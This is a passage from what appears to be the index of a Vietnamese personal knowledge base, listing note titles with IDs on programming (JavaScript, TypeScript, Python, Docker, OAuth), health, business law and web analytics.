+Mẫu thiết kế là những giải pháp cho những vấn đề thường gặp trong lập trình mà nhiều thế hệ lập trình viên đã đúc kết và chứng minh tính hiệu quả của nó +• Slug: undefined +• ID: TJ +Lập trình web +• Slug: undefined +• ID: TK +Hộ kinh doanh với cá nhân kinh doanh là một +• Slug: undefined +• ID: TL +Luật VN không định nghĩa doanh nghiệp, mà chỉ nói về các yếu tố tạo nên nó +• Slug: undefined +• ID: TM +Rất nhiều luật không thể tốt hơn là vì không thể quản lý nổi +• Slug: undefined +• ID: TN +Phát triển cộng đồng +• Slug: undefined +• ID: TO +Sắp chữ, thiết kế, xuất bản +• Slug: undefined +• ID: TP +Thoái hóa cột sống +• Slug: undefined +• ID: TQ +Trĩ +• Slug: undefined +• ID: TR +Viêm loét dạ dày +• Slug: undefined +• ID: TS +Đau ngực do trào ngược dạ dày +• Slug: undefined +• ID: TT +Bàn phím +• Slug: undefined +• ID: TU +Các chấn thương ở tay thường gặp +• Slug: undefined +• ID: TV +Ghế sofa có hại cho cột sống +• Slug: undefined +• ID: TW +Gù lưng +• Slug: undefined +• ID: TX +Việc ngột CO₂ xảy ra nhiều hơn chúng ta tưởng +• Slug: undefined +• ID: TY +Ô nhiễm tiếng ồn +• Slug: undefined +• ID: TZ +Dùng điện thoại trên giường gây rối loạn giấc ngủ +• Slug: undefined +• ID: Ta +Email làm quá tải +• Slug: undefined +• ID: Tb +Không nên dùng chai nước nhiều lần +• Slug: undefined +• ID: Tc +Mỗi một vị trí trong phòng nên được dùng cho một chức năng duy nhất +• Slug: undefined +• ID: Td +Một lon nước ngọt chứa lượng đường gấp đôi lượng đường tối đa nên tiếp thu một ngày +• Slug: undefined +• ID: Te +Những lý do để khó duy trì việc ngủ sớm +• Slug: undefined +• ID: Tf +Xem điện thoại trước lúc ngủ làm khó ngủ +• Slug: undefined +• ID: Tg +Điện thoại làm tăng sự lo lắng +• Slug: undefined +• ID: Th +Chiến dịch là sản phẩm +• Slug: undefined +• ID: Ti +Các organic branded traffic nên được xem như là direct traffic +• Slug: undefined +• ID: Tj +Các URL dài có thể là organic traffic chứ không phải direct traffic +• Slug: undefined +• ID: Tk +Dữ liệu từ phân tích web chỉ nói người dùng ngừng đọc ở đâu, chứ không nói cho ta biết vấn đề là gì, không nói cho ta biết ta nên đi đâu +• Slug: undefined +• ID: Tl +Một số medium cho blog: social, referral, forum, blog, chat, form +• Slug: undefined +• ID: Tm +Social về bản chất là referral, nhưng được tách ra để phân tích sâu hơn +• Slug: undefined +• ID: Tn +Web analytics đã thay đổi trong nhiều năm qua +• Slug: undefined +• ID: To +Tiếp thị số +• Slug: undefined +• ID: Tp +Delightful humane design +• Slug: undefined +• ID: Tq +Cơ sở dữ liệu +• Slug: undefined +• ID: Tr +Truy vấn dữ liệu +• Slug: undefined +• ID: Ts +Tạo web +• Slug: undefined +• ID: Tt +Viết plugin +• Slug: undefined +• ID: Tu +Xây dựng hệ thống quản lý, báo cáo nhu cầu các bên +• Slug: undefined +• ID: Tv +Nhu cầu công nghệ +• Slug: undefined +• ID: Tw +Chèn ảnh, bảng, sơ đồ, mục lục, ghi chú, song ngữ, trích dẫn theo đúng ý +• Slug: undefined +• ID: Tx +Hệ thống quản lý kiến thức +• Slug: undefined +• ID: Ty +Kiểm soát phiên bản (version control) +• Slug: undefined +• ID: Tz +WYSIWYM +• Slug: undefined +• ID: T- +Cào web +• Slug: undefined +• ID: T_ +Nhập sự kiện vào Google Calendar +• Slug: undefined +• ID: U0 +Phân loại dữ liệu tự động +• Slug: undefined +• ID: U1 +Tạo liên kết UTM rút gọn nhanh chóng +• Slug: undefined +• ID: U2 +Tự động hoá các công việc lặp đi lặp lại +• Slug: undefined +• ID: U3 +Chạy thống kê +• Slug: undefined +• ID: U4 +Nhìn tổng thể kế hoạch bằng đồ thị +• Slug: undefined +• ID: U5 +Tạo đồ thị mạng lưới +• Slug: undefined +• ID: U6 +Xác định các chủ đề có trong ngữ liệu +• Slug: undefined +• ID: U7 +Chia sẻ kho tri thức của mình cho mọi người +• Slug: undefined +• ID: U8 +Xây dựng mạng lưới đối tác, các bên liên quan +• Slug: undefined +• ID: U9 +Kinh nghiệm tìm thuật ngữ tiếng Việt +• Slug: undefined +• ID: UA +Phương án dịch một số từ +• Slug: undefined +• ID: UB +Kinh nghiệm mua sách giấy +• Slug: undefined +• ID: UC +Nghiên cứu cộng đồng mạng +• Slug: undefined +• ID: UD +Nghiên cứu +• Slug: undefined +• ID: UE +Phân tích dữ liệu định lượng +• Slug: undefined +• ID: UF +Phân tích dữ liệu định tính +• Slug: undefined +• ID: UG +Bản đồ lập luận +• Slug: undefined +• ID: UH +Khai thác một từ khoá +• Slug: undefined +• ID: UI +Quản lý kiến thức cá nhân +• Slug: undefined +• ID: UJ +Tổng quan tài liệu +• Slug: undefined +• ID: UK +Nghiên cứu người dùng, phát triển sản phẩm +• Slug: undefined +• ID: UL +Nắm bắt xu hướng mạng +• Slug: undefined +• ID: UM +Tổng hợp những sự kiện sẽ diễn ra +• Slug: undefined +• ID: UN +Tra lại lịch sử ghi chép +• Slug: undefined +• ID: UO +Viết bài +• Slug: undefined +• ID: UP +Nhu cầu công việc +• Slug: undefined +• ID: UQ +Chia sẻ lịch với nhau +• Slug: undefined +• ID: UR +Gom tất cả thông tin lại vào một chỗ +• Slug: undefined +• ID: US +Hậu cần +• Slug: undefined +• ID: UT +Tạo danh sách hạch toán hàng loạt vào các phần mềm kế toán +• Slug: undefined +• ID: UU +Tạo website +• Slug: undefined +• ID: UV +Vận hành +• Slug: undefined +• ID: UW +Xây dựng kho tri thức +• Slug: undefined +• ID: UX +📜Tài nguyên +• Slug: undefined +• ID: UY +Nơi này là nơi nào +• Slug: undefined +• ID: UZ +Các API thường dùng cho PHP +• Slug: undefined +• ID: Ua +Facebook API +• Slug: undefined +• ID: Ub +Fb hạn chế rất nhiều API để tránh việc làm nhái page +• Slug: undefined +• ID: Uc +me/accounts liệt kê tất cả các page mình quản lý +• Slug: undefined +• ID: Ud +Non-ASCII or non-English characters in field or database names will be transliterated to English +• Slug: undefined +• ID: Ue +Build service object +• Slug: undefined +• ID: Uf +API đưa thông tin là thụ động. Webhook đưa thông tin chủ động +• Slug: undefined +• ID: Ug +Cloud bản chất là đi thuê local của người khác +• Slug: undefined +• ID: Uh +Cloud, webhook, API +• Slug: undefined +• ID: Ui +Endpoint +• Slug: undefined +• ID: Uj +Node là một vật thể có ID riêng. Edge là vật thể liên kết giữa các node. Field là thuộc tính của vật thể +• Slug: undefined +• ID: Uk +Node với edge được gọi chung là endpoint +• Slug: undefined +• ID: Ul +GraphQL phù hợp cho app điện thoại, gRPC phù hợp khi cần tốc độ cao với ít tài nguyên +• Slug: undefined +• ID: Um +Auth không phải là xác thực +• Slug: undefined +• ID: Un +Authorization sinh ra access token để client sử dụng +• Slug: undefined +• ID: Uo +Client gửi access token đến authorization server để được truy cập +• Slug: undefined +• ID: Up +Client ID là để authorization server biết client nào là client nào, còn client secret là để nó đảm bảo rằng client này chính là client đó +• Slug: undefined +• ID: Uq +Client là ứng dụng muốn truy cập vào dữ liệu của user +• Slug: undefined +• ID: Ur +Khi access token hết hạn truy cập, client gửi refresh token đến authorization server để được cấp access token mới +• Slug: undefined +• ID: Us +OAuth giúp vẫn biết user kể cả khi user đổi mật khẩu +• Slug: undefined +• ID: Ut +OAuth là cách để cấp quyền truy cập dữ liệu mà người dùng không phải cấp mật khẩu +• Slug: undefined +• ID: Uu +Redirect URI là nơi +• Slug: undefined +• ID: Uv +Scope là những phạm vi dữ liệu khi ứng dụng truy cập +• Slug: undefined +• ID: Uw +❓OAuth là cấp phép cho ai, token là cấp phép được làm cái gì +• Slug: undefined +• ID: Ux +RESTful là REST không có hypermedia +• Slug: undefined +• ID: Uy +Web service là những API dùng trên HTTP +• Slug: undefined +• ID: Uz +Container chỉ là một process +• Slug: undefined +• ID: U- +Container là phù du +• Slug: undefined +• ID: U_ +Có vẻ như ngày xưa engine với daemon là một +• Slug: undefined +• ID: V0 +Docker Desktop tạo ra một máy ảo để chạy docker engine +• Slug: undefined +• ID: V1 +Docker +• Slug: undefined +• ID: V2 +Engine bao gồm CLI client, API và deamon +• Slug: undefined +• ID: V3 +exec để chạy lệnh cho một container đang chạy +• Slug: undefined +• ID: V4 +Image là template để chạy container +• Slug: undefined +• ID: V5 +Mỗi một dòng trong dockerfile sẽ tương ứng với một step khi dựng image +• Slug: undefined +• ID: V6 +Nếu dựng lại image mà đánh tag giống nhau thì image cũ sẽ thành danling image +• Slug: undefined +• ID: V7 +Việc dựng image được thiết lập qua dockerfile +• Slug: undefined +• ID: V8 +Volume là cách để đồng bộ dữ liệu giữa máy chủ và máy ảo +• Slug: undefined +• ID: V9 +Bấm F12 để biết thêm thông tin về biến +• Slug: undefined +• ID: VA +Các biểu tượng dùng trong VS Code +• Slug: undefined +• ID: VB +Dùng snippet để viết tắt code +• Slug: undefined +• ID: VC +Giao diện VS Code +• Slug: undefined +• ID: VD +Hằng là xanh lợt, biến là xanh đậm +• Slug: undefined +• ID: VE +Language server là thứ khiến cho IDE hỗ trợ tốt hơn việc lập trình +• Slug: undefined +• ID: VF +launch.json dùng để thiết lập debugger +• Slug: undefined +• ID: VG +Nhiều người có thể cùng chỉnh sửa cùng lúc như Google Docs +• Slug: undefined +• ID: VH +Phím tắt trong VS Code +• Slug: undefined +• ID: VI +Plugin hay cho người mới +• Slug: undefined +• ID: VJ +setting.json giúp tuỳ chỉnh thiết lập theo ý mình +• Slug: undefined +• ID: VK +Video hướng dẫn +• Slug: undefined +• ID: VL +VS Code chỉ là code editor, không phải IDE +• Slug: undefined +• ID: VM +VS Code nhiều khi không tìm hết file được do tên quá dài +• Slug: undefined +• ID: VN +Đường dẫn trong launch.json là cwd +• Slug: undefined +• ID: VO +Debugger +• Slug: undefined +• ID: VP +Dùng logpoint thay cho console.log() khi debug +• Slug: undefined +• ID: VQ +Không cần viết hàm quản lý debug khi đã có logpoint +• Slug: undefined +• ID: VR +Launch vs attach +• Slug: undefined +• ID: VS +Dùng test khi muốn biết code chạy có đúng không. Dùng debug khi muốn biết code chạy sai chỗ nào +• Slug: undefined +• ID: VT +Dễ xem kết quả các giá trị trong console debug hơn là ở Variables +• Slug: undefined +• ID: VU +console.log chỉ hiển thị nội dung tại thời điểm vật thể được xem, chứ không phải vào lúc lệnh được thực thi +• Slug: undefined +• ID: VV +Ngoài console.log còn có console.assert, console.trace, console.table, console.error, console.dir +• Slug: undefined +• ID: VW +Tổng quan về log +• Slug: undefined +• ID: VX +Debug +• Slug: undefined +• ID: VY +Lý do thấy test trước bất tiện +• Slug: undefined +• ID: VZ +Tổng quan về kiểm thử phần mềm +• Slug: undefined +• ID: Va +Unit test +• Slug: undefined +• ID: Vb +Prettier là để làm cho dễ nhìn. Linter là để hạn chế dính bug khi dự án mở rộng +• Slug: undefined +• ID: Vc +Admin privilege +• Slug: undefined +• ID: Vd +Bạn không cần dùng GUI +• Slug: undefined +• ID: Ve +Biến môi trường giúp ta điền những giá trị lặp đi lặp lại nhanh hơn +• Slug: undefined +• ID: Vf +Dùng absolute path cho lành +• Slug: undefined +• ID: Vg +env của người dùng được ưu tiên hơn env của hệ thống. Nhưng với biến path thì ngược lại +• Slug: undefined +• ID: Vh +PATH là đường dẫn mặc định tới những tập tin nhị phân (binary) +• Slug: undefined +• ID: Vi +pwd là thư mục mà process sẽ chạy (process working directory). cwd là thư mục mà mình đang ở đó (current working directory) +• Slug: undefined +• ID: Vj +Đường dẫn đến tệp ngoài trong một script phụ thuộc vào cwd, không phải đường dẫn tới script mình đang viết +• Slug: undefined +• ID: Vk +Sự khác biệt giữa Windows và Android, Mac trong tên file +• Slug: undefined +• ID: Vl +cmd vẫn được dùng để chạy exe +• Slug: undefined +• ID: Vm +cmdlet dùng định dạng Verb-Noun +• Slug: undefined +• ID: Vn +Các lệnh PowerShell thường dùng +• Slug: undefined +• ID: Vo +Dùng Where-Object nhanh hơn dùng -Filter +• Slug: undefined +• ID: Vp +PowerShell là một ngôn ngữ shell +• Slug: undefined +• ID: Vq +Windows Terminal có thể được kích hoạt trong Explorer +• Slug: undefined +• ID: Vr +Shell là cái vỏ bảo vệ lõi của hệ điều hành +• Slug: undefined +• ID: Vs +Subcomand không có gạch (VD: `deno help`). Flag có gạch (VD: `deno --help`) +• Slug: undefined +• ID: Vt +Terminal là cái chương trình để làm việc với shell +• Slug: undefined +• ID: Vu +Terminal, console, shell và command line thường được dùng lẫn lộn với nhau +• Slug: undefined +• ID: Vv +Cài win mới +• Slug: undefined +• ID: Vw +Local app data +• Slug: undefined +• ID: Vx +Windows rất lằng nhằng trong việc thiết lập cấu hình +• Slug: undefined +• ID: Vy +Cách các đường dẫn ở những nơi khác nhau xử lý dấu cách và ký tự phi ASCII +• Slug: undefined +• ID: Vz +Những chương trình cũ sẽ dễ gặp vấn đề về dấu cách hơn những chương trình mới +• Slug: undefined +• ID: V- +Tên mô đun Python sẽ được dùng làm identifier. Identifier không được có dấu cách +• Slug: undefined +• ID: V_ +Under the hood, hệ điều hành và trình duyệt chỉ sử dụng đường dẫn ASCII +• Slug: undefined +• ID: W0 +Việc có khoảng trắng trong tên file sẽ khiến việc xử lý code phức tạp hơn +• Slug: undefined +• ID: W1 +Compile time là lúc chuyển từ ngôn ngữ lập trình mà người hiểu sang ngôn ngữ máy chỉ có máy mới hiểu. Runtime là lúc máy chạy mã máy +• Slug: undefined +• ID: W2 +Khái niệm cơ bản và nguyên lý lập trình +• Slug: undefined +• ID: W3 +4 đặc điểm của lập trình hướng vật thể +• Slug: undefined +• ID: W4 +Biểu thức (expression) là những thứ trả lại một giá trị nào đó +• Slug: undefined +• ID: W5 +Hoạt động trung tâm của lập trình hướng vật thể là phân loại +• Slug: undefined +• ID: W6 +Giao diện là cái khuôn của phương thức +• Slug: undefined +• ID: W7 +Hàm cần gọi phải ở trong then +• Slug: undefined +• ID: W8 +Hàm vô danh chính là lambda +• Slug: undefined +• ID: W9 +Phương thức cho ta biết mình có thể làm gì với vật thể đó +• Slug: undefined +• ID: WA +Phương thức là một thuộc tính của vật thể +• Slug: undefined +• ID: WB +Phương thức phải gắn lên một vật thể cụ thể nào đó để có tác dụng +• Slug: undefined +• ID: WC +this, self là cách để nói rằng hành động mà phương thức sẽ làm sẽ phải gắn lên một vật thể cụ thể của lớp, thứ mà bây giờ chưa được tạo ra +• Slug: undefined +• ID: WD +Để tránh phụ thuộc lòng vòng (circular dependency) có thể dùng hàm +• Slug: undefined +• ID: WE +API là giao diện của một chương trình +• Slug: undefined +• ID: WF +Giao diện là cách để sử dụng vật thể mà không cần biết bên trong nó có gì +• Slug: undefined +• ID: WG +Khi import một hàm thì cả file chứa hàm đó sẽ được chạy. Các import của file đó cũng sẽ chạy theo, dù là để import vào một hàm khác mình không import +• Slug: undefined +• ID: WH +Nên tách bạch file util cho client và util cho server +• Slug: undefined +• ID: WI +Package và library là những cái tên khác nhau cho cùng một thứ +• Slug: undefined +• ID: WJ +Chưa rõ lý do vì sao lại dịch object ra thành đối tượng chứ không phải vật thể +• Slug: undefined +• ID: WK +Dùng class khi ta có logic nghiệp vụ thực sự cần được implement để thực thi. Dùng interface để tạo ràng buộc kiểu cho biến +• Slug: undefined +• ID: WL +Không cần biết vật thể chứa dữ liệu gì, chỉ cần quan tâm nó làm được gì +• Slug: undefined +• ID: WM +Lớp là một cái khuôn để tạo các vật thể cho nhanh +• Slug: undefined +• ID: WN +Những vật thể đơn giản dùng để tra cứu dữ liệu theo từ khoá gọi là từ điển +• Slug: undefined +• ID: WO +Prototype là những thuộc tính không cần tạo ra cũng có sẵn +• Slug: undefined +• ID: WP +Thay vì ta thao túng trực tiếp dữ liệu, ta điều khiển vật thể qua phần giao tiếp của nó với bên ngoài +• Slug: undefined +• ID: WQ +Nếu tất cả thuộc tính của vật thể đều đơn giản, và vật thể được dùng để tra cứu dữ liệu theo từ khoá chứ không phải là để thao tác và thay đổi thuộc tính bằng phương thức, thì nó được gọi là từ điển +• Slug: undefined +• ID: WR +Việc đóng gói (encapsulation) giúp ta không cần quan tâm vật thể lưu dữ liệu thế nào, mà chỉ cần quan tâm tới thuộc tính và phương thức của nó +• Slug: undefined +• ID: WS +Vật thể ngoài tự nhiên không chứa hướng dẫn để sử dụng nó. Vật thể trong máy tính có hướng dẫn sử dụng nó +• Slug: undefined +• ID: WT +Vật thể được tạo nên bởi những thuộc tính +• Slug: undefined +• ID: WU +Bộ nguyên lý SOLID giúp phần mềm dễ bảo trì, dễ mở rộng +• Slug: undefined +• ID: WV +Cái trừu tượng không nên phụ thuộc vào những cái cụ thể mà những cái cụ thể nên phụ thuộc vào cái trừu tượng +• Slug: undefined +• ID: WW +Mảng các vật thể và mảng các mảng +• Slug: undefined +• ID: WX +Mặc dù mảng lưu giữ thứ tự, nhưng nhiều khi ta không quan tâm đến thứ tự đó cho lắm +• Slug: undefined +• ID: WY +Mẫu thiết kế (design pattern) là những giải pháp cho những vấn đề thường gặp trong lập trình mà nhiều thế hệ lập trình viên đã đúc kết và chứng minh tính hiệu quả của nó +• Slug: undefined +• ID: WZ +Nguyên lý +• Slug: undefined +• ID: Wa +Người mới lập trình thường hỏi nên dùng cú pháp, thư viện, hay ngôn ngữ nào. Lập trình viên nhiều kinh nghiệm thường tập trung vào các khái niệm trừu tượng +• Slug: undefined +• ID: Wb +Stable = the APIs are not expected to change in a breaking way. Production ready = supports its intended usecases and doesn't contain major bugs. +• Slug: undefined +• ID: Wc +Giao diện người dùng, logic, dữ liệu là 3 thành phần cơ bản cho một chương trình. Mỗi thành phần này có mục tiêu khác nhau, kỹ thuật xử lý khác nhau. Không thể trộn lẫn lộn với nhau được. +• Slug: undefined +• ID: Wd +Model không biết đến View, View không biết đến Controller +• Slug: undefined +• ID: We +Block comment dành cho việc giải thích ý tưởng của code, viết doc. Line comment để debug hoặc hướng dẫn editor đọc code của mình (directive) +• Slug: undefined +• ID: Wf +Bản thân việc lập trình bằng ngôn ngữ bậc cao đã là một dạng comment +• Slug: undefined +• ID: Wg +Comment có thể cho thông tin sai, nhưng code thì không +• Slug: undefined +• ID: Wh +Comment cũng có bug, nhưng không giống như code, không có chương trình nào hỗ trợ debug được nó +• Slug: undefined +• ID: Wi +Giải thích về thuật toán, các đánh đổi trong việc ra quyết định hoặc dẫn nguồn là các lý do tốt để comment +• Slug: undefined +• ID: Wj +Hãy viết code sao cho mình khỏi comment +• Slug: undefined +• ID: Wk +Thay vì comment, hãy document. Thay vì giải thích cách code hoạt động, hãy hướng dẫn cách sử dụng nó +• Slug: undefined +• ID: Wl +Viết comment +• Slug: undefined +• ID: Wm +Việc tách một khối code thành một hàm khiến cho việc đọc từng dòng trở thành đọc từng bước +• Slug: undefined +• ID: Wn +while familiarity is a perfectly fine reason, it is really a bad sign if it is the only reason +• Slug: undefined +• ID: Wo +Mỗi lớp, hàm, mô đun chỉ đảm nhiệm một nhiệm vụ xác định +• Slug: undefined +• ID: Wp +Sự couple dễ được sinh ra khi muốn xử lý các dữ liệu giống nhau về chức năng và na ná nhau về cấu trúc và cách xử lý +• Slug: undefined +• ID: Wq +Tránh dùng hàm lồng để làm giảm sự couple +• Slug: undefined +• ID: Wr +Việc chia các lệnh trong kịch bản thành các hàm nhỏ hơn sẽ giúp dễ bắt lỗi hơn +• Slug: undefined +• ID: Ws +Quy ước đặt tên biến +• Slug: undefined +• ID: Wt +toString hoặc href sẽ luôn thêm slash vào sau +• Slug: undefined +• ID: Wu +Việc biến đổi dữ liệu chủ yếu là để người dùng đọc cho tiện, và để máy kiểm tra dữ liệu +• Slug: undefined +• ID: Wv +Việc đặt tên không có tiền tố gì sẽ tiện khi nó thường được dùng thường xuyên ở những nơi khác, ở trong một danh sách, hoặc khi dùng để liệt kê các thuộc tính +• Slug: undefined +• ID: Ww +Các ký tự đặc biệt trong các ngôn ngữ khác nhau +• Slug: undefined +• ID: Wx +AutoHotkey combines 3 concepts into 1 built-in basic object type +• Slug: undefined +• ID: Wy +Tạo phím tắt bằng AutoHotKey +• Slug: undefined +• ID: Wz +Code giống như các nốt nhạc, engine giống như nhạc công, còn runtime giống như nhạc cụ +• Slug: undefined +• ID: W- +Biến được so sánh với nhau bằng địa chỉ bộ nhớ, không phải giá trị thực sự của biến +• Slug: undefined +• ID: W_ +Biến được tạo mà không có từ khoá khai báo (var, let, const) luôn là biến toàn cục, kể cả khi được tạo trong hàm +• Slug: undefined +• ID: X0 +await với async là cách để viết hàm bất đồng bộ với tư duy khi viết hàm tuần tự +• Slug: undefined +• ID: X1 +callback là một hàm được truyền vào một hàm khác giống như một tham số bình thường +• Slug: undefined +• ID: X2 +Callback là những hàm được dùng như đối số của hàm khác +• Slug: undefined +• ID: X3 +Dùng await trong filter sẽ chẳng filter được gì +• Slug: undefined +• ID: X4 +Hàm gọi hàm callback đã xác định sẵn tham số truyền vào cho callback. Callback bắt buộc phải có đúng thứ tự và kiểu biến được hàm gọi cho trước +• Slug: undefined +• ID: X5 +catch là then(null, onError) +• Slug: undefined +• ID: X6 +Promise chỉ là một vật thể để việc lập trình được tiện hơn, không phải là một tính năng mà những phiên bản JS trước không làm được +• Slug: undefined +• ID: X7 +Promise được sinh ra là để không phải dùng if lồng quá nhiều +• Slug: undefined +• ID: X8 +Thực chất promise không giải quyết được chuyện lồng, vì promise cũng lồng vào nhau như if thôi. Thứ nó giải quyết là việc các giá trị trả về từ promise trông như không lồng vào nhau gì cả +• Slug: undefined +• ID: X9 +JSON.stringify(new Error()) trả về một vật thể rỗng +• Slug: undefined +• ID: XA +object Object xảy ra khi một vật thể bị chuyển sang dạng chuỗi +• Slug: undefined +• ID: XB +String(x) giống x.tostring(), nhưng không gây ra lỗi nếu x là null hoặc undefined +• Slug: undefined +• ID: XC +Dùng map tiện hơn dùng for vì nó tạo ra một mảng mới cho mình và không cần phải lo mảng cũ bị sửa đổi +• Slug: undefined +• ID: XD +f(a)(b) để gọi hàm f(a) có chứa hàm con f1(b) +• Slug: undefined +• ID: XE +Luôn dùng for of, đừng dùng for in +• Slug: undefined +• ID: XF +Named export thường dùng cho các file lưu trữ nhiều function, object như utils, constant, api, store… Export default thường dùng cho class, function component +• Slug: undefined +• ID: XG +Phương thức json() của Request và Response là để chuyển từ dạng chuỗi sang vật thể +• Slug: undefined +• ID: XH +Mọi sự kiện đều capture và target, nhưng không phải sự kiện nào cũng bubble +• Slug: undefined +• ID: XI +Sự kiện +• Slug: undefined +• ID: XJ +Với ||, `0, '', NaN` sẽ trả về false. Với ??, chúng sẽ trả về true +• Slug: undefined +• ID: XK +Luôn dùng ===. Nếu không có lý do hợp lý thì đừng dùng == +• Slug: undefined +• ID: XL +Mọi phép so sánh với NaN đều trả về false +• Slug: undefined +• ID: XM +Đáng lẽ typeof null phải là 'null'. Nhưng nó lại trả về là 'object' vì đây là một bug lúc JS mới được viết, và việc sửa nó sẽ làm hỏng nhiều script +• Slug: undefined +• ID: XN +Lịch sử phát triển của JavaScript +• Slug: undefined +• ID: XO +Bundler dùng để gom hết tất cả các script lại vào làm một +• Slug: undefined +• ID: XP +Các chương trình dùng electron ngốn ram +• Slug: undefined +• ID: XQ +Cứ 4kb thì tạo thành một read unit, chứ không phải là một lần chạy lệnh +• Slug: undefined +• ID: XR +deno info giúp thấy chỗ script được chuyển sang JS +• Slug: undefined +• ID: XS +Dùng Array.fromAsync để việc lấy dữ liệu từ KV không phải chờ tải về hết rồi mới bắt đầu lọc +• Slug: undefined +• ID: XT +Làm quen Deno cho người mới +• Slug: undefined +• ID: XU +Sau một thập kỷ phát triển, tác giả của Node viết Deno để khắc phục những thiếu sót của Node +• Slug: undefined +• ID: XV +Những hàm của môi trường thực thi không chạy được trên trình duyệt +• Slug: undefined +• ID: XW +Cần thiết lập EMS cho Node.js trước khi chạy +• Slug: undefined +• ID: XX +node.js là cách để dùng JS ở backend +• Slug: undefined +• ID: XY +npm là chương trình quản lý package cho node.js +• Slug: undefined +• ID: XZ +npx là một gói mở rộng của npm giúp việc cài đặt dễ dàng hơn +• Slug: undefined +• ID: Xa +package.json dùng để thiết lập Node.js +• Slug: undefined +• ID: Xb +Node với Deno là những môi trường thực thi của JS +• Slug: undefined +• ID: Xc +strict mode là chế độ code nghiêm ngặt, bắt buộc lập trình viên phải tuân thủ theo quy tắc mà JS đưa ra +• Slug: undefined +• ID: Xd +Temporal được sinh ra để giải quyết rắc rối của Date +• Slug: undefined +• ID: Xe +VanillaJS chỉ là JS bình thường +• Slug: undefined +• ID: Xf +as, is là những cách để nói cho TS biết là mình hiểu nhiều hơn nó +• Slug: undefined +• ID: Xg +/// cung cấp chỉ dẫn cho TS +• Slug: undefined +• ID: Xh +Các ký hiệu trong TS +• Slug: undefined +• ID: Xi +generic là biến dành cho kiểu +• Slug: undefined +• ID: Xj +generic là cách để giữ được tính chung chung mà vẫn không bị mất thông tin +• Slug: undefined +• ID: Xk +generic là tính từ, không phải danh từ +• Slug: undefined +• ID: Xl +Index signature giúp khai báo kiểu của tên thuộc tính và giá trị của nó trong vật thể, dù không biết vật thể đó có cấu trúc thế nào +• Slug: undefined +• ID: Xm +Index signature và record là các cách khai báo kiểu vật thể +• Slug: undefined +• ID: Xn +Nếu dữ liệu không nhất thiết ở dạng vật thể thì type gọn hơn và linh hoạt hơn. Nếu đã xác định dữ liệu cần ở dạng vật thể thì interface sẽ thể hiện tốt ý tưởng của người viết hơn +• Slug: undefined +• ID: Xo +Nếu một thứ kêu như con vịt và đi như con vịt, thì nó là con vịt +• Slug: undefined +• ID: Xp +satisfied là để kiểm tra xem dữ liệu mình nhập bằng tay có thoả kiểu hay không +• Slug: undefined +• ID: Xq +DefinitelyTyped +• Slug: undefined +• ID: Xr +dts hoặc siroc dùng để khởi tạo dự án mà không tốn quá nhiều thời gian config +• Slug: undefined +• ID: Xs +Dùng string-ts để bắt kiểu cho chuỗi được tốt hơn +• Slug: undefined +• ID: Xt +Dùng ts-reset để sửa những lỗi kỳ lạ của TS +• Slug: undefined +• ID: Xu +esbuild +• Slug: undefined +• ID: Xv +Người mới học TS thì nên cài extension Total TypeScript để bớt sợ +• Slug: undefined +• ID: Xw +Thay vì dùng Copilot để gợi ý code, có thể dùng 30 seconds of TypeScript +• Slug: undefined +• ID: Xx +TS chỉ có thể bắt lỗi kiểu dữ liệu trong lúc viết code. Zod giúp bắt lỗi kiểu do người dùng trả về +• Slug: undefined +• ID: Xy +tsc là TypeScript compiler, là thứ dịch TypeScript sang JavaScript +• Slug: undefined +• ID: Xz +tsconfig +• Slug: undefined +• ID: X- +TypeScript cung cấp kiểu cho JS +• Slug: undefined +• ID: X_ +TypeScript +• Slug: undefined +• ID: Y0 +void là kết quả của những hàm không trả kết quả nào +• Slug: undefined +• ID: Y1 +Khác biệt giữa JS và Python +• Slug: undefined +• ID: Y2 +JS uses {} syntax for object literals, Python uses it for dictionary and set literals +• Slug: undefined +• ID: Y3 +Map trong JS tương đương với dictionary trong Python +• Slug: undefined +• ID: Y4 +Trong JS, console.log() sẽ hiển thị toàn bộ nội dung vật thể mà không phải làm gì. Trong Python, print() sẽ chỉ hiển thị nội dung vật thể nếu __str__() đã được định nghĩa +• Slug: undefined +• ID: Y5 +Từ điển dùng để chứa và thao tác với dữ liệu, trong khi JSON về bản chất dùng để mã hóa và giải mã dữ liệu +• Slug: undefined +• ID: Y6 +Ý nghĩa tên folder +• Slug: undefined +• ID: Y7 +Ở JS, nếu một biến có giá trị là một chuỗi JSON thì nó sẽ được hiểu là vật thể. Ở Python, nó được hiểu là từ điển +• Slug: undefined +• ID: Y8 +JS và Python đều không yêu cầu phải khai báo kiểu ngay lúc viết +• Slug: undefined +• ID: Y9 +Python tách bạch từ điển và vật thể ngay từ đầu, còn JS mãi về sau mới có từ điển +• Slug: undefined +• ID: YA +Nếu lớp không định nghĩa cả __repr__() và __str__() thì kết quả trả về có dạng __main__.Class_name object at 0x1025c4ed0 +• Slug: undefined +• ID: YB +Trong REPL, gọi trực tiếp vật thể ra thì kết quả là __repr__(). Nếu dùng print thì kết quả là __str__() +• Slug: undefined +• ID: YC +__repr__() trả về mô tả chi tiết để người lập trình bảo trì và sửa lỗi. __str__() trả về mô tả đơn giản cho người dùng sử dụng +• Slug: undefined +• ID: YD +elif là để phân biệt else thuộc if nào +• Slug: undefined +• ID: YE +Exception +• Slug: undefined +• ID: YF +IPython +• Slug: undefined +• ID: YG +Jupyter notebook giúp chạy lệnh theo từng ô kèm diễn giải +• Slug: undefined +• ID: YH +Không thể thay đổi tuple một khi đã được tạo ra +• Slug: undefined +• ID: YI +Những phương thức có hai dấu gạch dưới hai bên được gọi là dunder (double underscore) +• Slug: undefined +• ID: YJ +Anaconda giống như một fork Python có bổ sung thêm nhiều công cụ cho khoa học dữ liệu +• Slug: undefined +• ID: YK +Conda là trình quản lý thư viện, không chỉ của Python mà còn của các ngôn ngữ khác +• Slug: undefined +• ID: YL +venv chỉ tạo môi trường ảo cho phiên bản hiện tại. Miniconda tạo môi trường ảo cho nhiều phiên bản +• Slug: undefined +• ID: YM +Với những người chỉ cần dùng Python để làm dữ liệu chứ không lập trình, chỉ cần cài Anaconda là đủ. Không cần và không nên cài Python riêng +• Slug: undefined +• ID: YN +Khi chạy Python trong VS Code, thư mục được chạy không phải là thư mục chứa script +• Slug: undefined +• ID: YO +Nên cài Python bằng bộ cài tải từ website nếu muốn lập trình +• Slug: undefined +• ID: YP +pip là chương trình quản lý package của Python +• Slug: undefined +• ID: YQ +py là chương trình hỗ trợ việc quản lý phiên bản trên Windows +• Slug: undefined +• ID: YR +venv tạo môi trường ảo để tránh trường hợp chồng chéo các gói và xung đột phiên bản giữa các thư viện +• Slug: undefined +• ID: YS +Việc cài phiên 